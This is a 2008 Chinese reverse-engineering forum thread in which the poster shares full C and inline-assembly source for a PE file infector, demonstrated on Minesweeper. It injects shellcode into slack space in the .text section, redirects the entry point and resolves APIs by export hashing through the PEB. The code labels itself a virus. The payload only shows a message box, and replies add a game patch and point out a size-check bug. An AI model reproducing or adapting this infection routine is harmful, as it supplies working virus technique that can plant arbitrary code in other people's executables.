首页
社区
课程
招聘
扫雷里插入代码
发表于: 2008-8-27 19:36 11937

扫雷里插入代码

2008-8-27 19:36
11937

最近钻研了PE文件格式一段时间,想到写个程序测试一下自己的学习成果,费了九牛二虎之力写了个小程序,也算是作为学习后的一个小成果吧,写过这个程序也真正意识到汇编的作用,见缝插针啊。水平很菜,各位大侠不要笑话,错误之处,恳请批评指证。
把源代码贴上(xp sp2,VC6.0 debug编译通过):
#include <stdio.h>
#include <windows.h>

BOOL infect( char *p_fname);
void shellcode();
void shellcode_end();

char jmp_ins[5] = { '\xe9', 0, 0, 0, 0};

int main( int argc, char *argv[])
{
        if ( argc < 2) {
                printf("usage: infect a_pe_file\n");
                return -1;
        }

        infect( argv[1]);

        return 0;
}

#define DEFAULT_BASE        0x1000000

#define _var1        (-4)

__declspec(naked) void shellcode()
{
        __asm {
                call loc
loc:
                pop eax                                // eax存放的就是本条指令的地址
                jmp short start
        }

        __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90

        __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0
        __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0 __asm _emit 0x0

        __asm _emit 'u' __asm _emit 's' __asm _emit 'e' __asm _emit 'r' __asm _emit '3' __asm _emit '2' __asm _emit '.' __asm _emit 'd' __asm _emit 'l' __asm _emit 'l' __asm _emit 0
        __asm _emit 'M' __asm _emit 'e' __asm _emit 's' __asm _emit 's' __asm _emit 'a' __asm _emit 'g' __asm _emit 'e' __asm _emit 'B' __asm _emit 'o' __asm _emit 'x' __asm _emit 'A' __asm _emit 0
        __asm _emit 'H' __asm _emit 'e' __asm _emit 'l' __asm _emit 'l' __asm _emit 'o' __asm _emit 0

        __asm
        {
start:
                pushad
               
                mov edi, eax
                add edi, 3                // edi ptr to data area
               
                mov ebp, esp
                sub esp, 4

                ;push eax                                // eax contains the location of shellcode

                // get base of k32
                mov eax, fs:[0x30]                        // get PEB ptr
                mov eax, [eax+0x0c]                        // get PED_LDR_DATA ptr
                mov esi, [eax+0x1c]                        // esi ptr to the 1st loaded module, i.e. the NTDLL.DLL
                lodsd                                                // esi ptr to the 2nd loaded module, i.e. the KERNEL32.DLL
                mov edx, [eax+0x08]                        // edx contains the base addr of KERNEL32.DLL
       
                // search export table
                mov eax, 0x331adddc
                call get_func_addr
                mov [edi+5], eax
               
                mov eax, 0x99c95590
                call get_func_addr
                mov [edi+9], eax

                lea eax, [edi+13]                        // user32.dll
                push eax
                call [edi+5]                                // eax contains the hmodule
               
                lea ebx, [edi+24]                        // MessageBoxA
                push ebx
                push eax
                call [edi+9]                                ; eax contains the addr of MessageBoxA
               
                xor ecx, ecx       
                push ecx
                lea ebx, [edi+36]
                push ebx
                push ebx
                push ecx
                call eax
               
                jmp quit

                ; edx = dll base
                ; eax = hash
get_func_addr:
                push ebx
                push ecx
                push esi
                push edi
                push ebp
       
                mov ebp, eax

                mov ebx, edx                                // ebx = base of k32
                add ebx, [ebx+0x3c]                        // nt hdr
                add ebx, 0x18                                // opt hdr
                add ebx, 0x60                                // exp dir entry
                mov ebx, [ebx]                                // ebx = rva of exp data
                add ebx, edx                                // ebx = va of exp data

                xor edi, edi                                // index

                mov ecx, ebx
                add ecx, 28                               
                mov ecx, [ecx]
                add ecx, edx                                // ecx = va of func addrs

                add ebx, 32                               
                mov ebx, [ebx]
                add ebx, edx                        // ebx = va of func names

next_name:
                mov esi, [ebx+edi]
                add esi, edx                                // esi = va of name
                add edi, 4
                call get_hash                                // eax = hash
                cmp eax, ebp
                jnz next_name

                sub edi, 4
                mov esi, [ecx+edi]                       
                add esi, edx                                // esi = va of func addr
                mov eax, esi

                pop ebp
                pop edi
                pop esi
                pop ecx
                pop ebx
                ret

                ; esi = va of name
get_hash:       
                push esi
                push ebx
                push ecx

                xor ebx, ebx
                xor eax, eax
next_char:
                lodsb
                cmp al, 0
                jz get_hash_over
                mov ecx, ebx
                shl ecx, 5
                shr ebx, 27
                or ebx, ecx
                add ebx, eax
                jmp next_char
get_hash_over:
                mov eax, ebx
                pop ecx
                pop ebx
                pop esi
                ret               
               
quit:
                push edi

                // search entry point
                mov edi, DEFAULT_BASE
                add edi, [edi+0x3c]
                add edi, 0x18
                add edi, 0x10
                mov edi, [edi]                                // edi contains the entry point (rva)
                add edi, DEFAULT_BASE                // edi contains the entry point (va)
               
                // save entry point at loc
                mov _var1[ebp], edi

                mov ecx, 5
                pop esi
                rep movsb

                mov esp, ebp
                popad

                mov eax, [esp-36]
                jmp eax
        }
}

__declspec(naked) void shellcode_end()
{
}

BOOL infect( char *p_fname)
{
        HANDLE h_file, h_fmapping;
        PIMAGE_DOS_HEADER p_dos_hdr;
        PIMAGE_NT_HEADERS p_nt_hdr;
        PIMAGE_FILE_HEADER p_file_hdr;
        PIMAGE_OPTIONAL_HEADER p_opt_hdr;
        PIMAGE_SECTION_HEADER p_sect_hdr;
        unsigned long sc_size, room = 0, off, i;
        void *p_mem;
        char *p_te, *p_entry, *p_tmp;

        sc_size = 0x117;
       
        // open file
    h_file = CreateFile(p_fname, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if ( h_file == INVALID_HANDLE_VALUE ) {   
                printf("fail to open file, err# %08x\n", GetLastError());
                goto err0;
        }
   
        // map file into memory
    h_fmapping = CreateFileMapping(h_file, NULL, PAGE_READWRITE, 0, 0, NULL);
    if ( h_fmapping == 0 ) {
        printf("fail to create file mapping, err# %08x\n", GetLastError());
        goto err1;
        }
   
    p_mem = MapViewOfFile(h_fmapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
    if ( p_mem == 0) {
        printf("couldn't map view of file, err# %08x\n", GetLastError());
        goto err2;
    }

        // get DOS hdr and do sanity checking
    p_dos_hdr = (PIMAGE_DOS_HEADER)p_mem;
    if ( p_dos_hdr->e_magic != IMAGE_DOS_SIGNATURE) {
                printf("unrecognized file format\n");
                goto err3;
        }

        // get NT hdr and do sanity checking
        p_nt_hdr = (PIMAGE_NT_HEADERS)((char *)p_dos_hdr + p_dos_hdr->e_lfanew);
        if ( p_nt_hdr->Signature != IMAGE_NT_SIGNATURE) {
                printf("invalid PE file, no NT signature found\n");
                goto err3;
        }

        // get other hdrs
        p_file_hdr = &p_nt_hdr->FileHeader;
        p_opt_hdr = &p_nt_hdr->OptionalHeader;
        p_sect_hdr = (PIMAGE_SECTION_HEADER)((char *)p_nt_hdr + sizeof(IMAGE_NT_HEADERS));

        // get text section room
        for ( i=0; i<p_file_hdr->NumberOfSections; i++, p_sect_hdr++) {
                if ( !stricmp( ".text", p_sect_hdr->Name)) {
                        room = p_opt_hdr->FileAlignment - (p_sect_hdr->Misc.VirtualSize % p_opt_hdr->FileAlignment);
                        break;
                }
        }

        if ( room < sizeof(sc_size)) {
                printf("insufficient room for virus.\n");
                goto err3;
        }

        printf( "room = %08x\n", room);

        printf("lfanew offset: %08x\n", (char *)&p_dos_hdr->e_lfanew - (char *)p_dos_hdr);
        printf("opt-hdr offset: %08x\n", (char *)&p_nt_hdr->OptionalHeader - (char *)p_nt_hdr);
        printf("entry offset: %08x\n", (char *)&p_opt_hdr->AddressOfEntryPoint - (char *)p_opt_hdr);
        printf("exp offset: %08x\n", (char *)&(p_opt_hdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]) - (char *)p_opt_hdr);

        p_entry = (char *)p_mem + p_sect_hdr->PointerToRawData + (p_opt_hdr->AddressOfEntryPoint - p_sect_hdr->VirtualAddress);
        p_te = (char *)p_mem + p_sect_hdr->PointerToRawData + p_sect_hdr->Misc.VirtualSize;
        off = *((unsigned long *)((char *)shellcode + 1));
        p_tmp = ((char *)shellcode + off + 5);
        memcpy( p_te, p_tmp, sc_size);
        memcpy( p_te+8, p_entry, 5);

        // create jmp struct
        off = p_te - p_entry - 5;
        *((unsigned long *)(jmp_ins + 1)) = off;
        memcpy( p_entry, jmp_ins, 5);

        p_sect_hdr->Characteristics |= 0x80000000;

        printf("%08x\n", sizeof(IMAGE_FILE_HEADER));

err3:
        UnmapViewOfFile(p_mem);
err2:
        CloseHandle(h_fmapping);
err1:
        CloseHandle( h_file);
err0:
        return FALSE;
}


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (15)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
你好厉害……
2008-8-27 21:16
0
雪    币: 200
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
天书!
2008-8-27 21:34
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
4
很久没有看到这么精彩的感染了,尤其那些汇编很熟悉的感觉啊~~
2008-8-28 03:00
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
5
shellcode插.text节缝隙。

good
2008-8-28 12:17
0
雪    币: 233
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
请问,楼主插入的代码的功能是什么啊???
2008-9-5 09:19
0
雪    币: 442
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
学习一下,其实我一点看不懂...
2008-9-5 11:21
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我也看不懂 只能说 强人了
2008-9-23 14:08
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
请教下楼主,有句
if ( room < sizeof(sc_size)) 是不是应该是 if ( room < sc_size)
2008-9-23 19:16
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
干脆用汇编写算了
2008-9-29 09:53
0
雪    币: 136
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
11
留名,学习...
2008-9-29 15:32
0
雪    币: 517
活跃值: (84)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
12
直接手术PE文件以达到效果,实现起来只需要改两个地方,一个是“帮助”处的强跳,一个就是在文件中找一足够空间的空白处写上代码。修改如下:(修改了9h+30h共39h个字节)
01001F09       |. /EB 04               jmp     short 01001F0F
01001F0B          |90                  nop
01001F0C          |90                  nop
01001F0D          |90                  nop
01001F0E          |90                  nop
01001F0F          \E8 412B0000         call    01004A55
01001F14       |.  E9 90020000         jmp     010021A9


01004A55           60                  pushad
01004A56           33FF                xor     edi, edi
01004A58           47                  inc     edi
01004A59           33F6                xor     esi, esi
01004A5B           46                  inc     esi
01004A5C           8BC7                mov     eax, edi
01004A5E           C1E0 05             shl     eax, 5
01004A61           03C6                add     eax, esi
01004A63           8A80 40530001       mov     al, byte ptr [eax+1005340]
01004A69           3C 0F               cmp     al, 0F
01004A6B           75 07               jnz     short 01004A74
01004A6D           57                  push    edi
01004A6E           56                  push    esi
01004A6F           E8 9EEAFFFF         call    01003512
01004A74           3B35 34530001       cmp     esi, dword ptr [1005334]
01004A7A         ^ 76 DF               jbe     short 01004A5B
01004A7C           3B3D 38530001       cmp     edi, dword ptr [1005338]
01004A82         ^ 76 D4               jbe     short 01004A58
01004A84           61                  popad
01004A85           C3                  retn

OK了,可以直接按F1瞬间排雷了.
我用的winmine.exe是XP pro SP1的,系统版本不同,也许程序就不同了
2008-9-30 10:17
0
雪    币: 179
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
问一下,中间不用nop填充,我F1也可以执行,会有什么隐患么?只需修改一句
01001F09  |. /EB 04          jmp     short 01001F0F
01001F0B  |> |6A 00          push    0                                ;  Case 24E of switch 01001EDC
01001F0D  |. |6A 03          push    3
01001F0F     \E8 412B0000    call    01004A55//改这个就可以F1全消了,会有什么隐患呢?
01001F14  |.  E9 90020000    jmp     010021A9
2008-10-26 23:17
0
雪    币: 151
活跃值: (20)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
好像在codeprojrct里面看到过。。。。不错 !!
2008-10-27 11:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
是很强的,我也正在学习
2008-10-29 12:01
0
雪    币: 198
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
只是我什么也看不懂~~
2008-10-30 08:52
0
游客
登录 | 注册 方可回帖
返回
//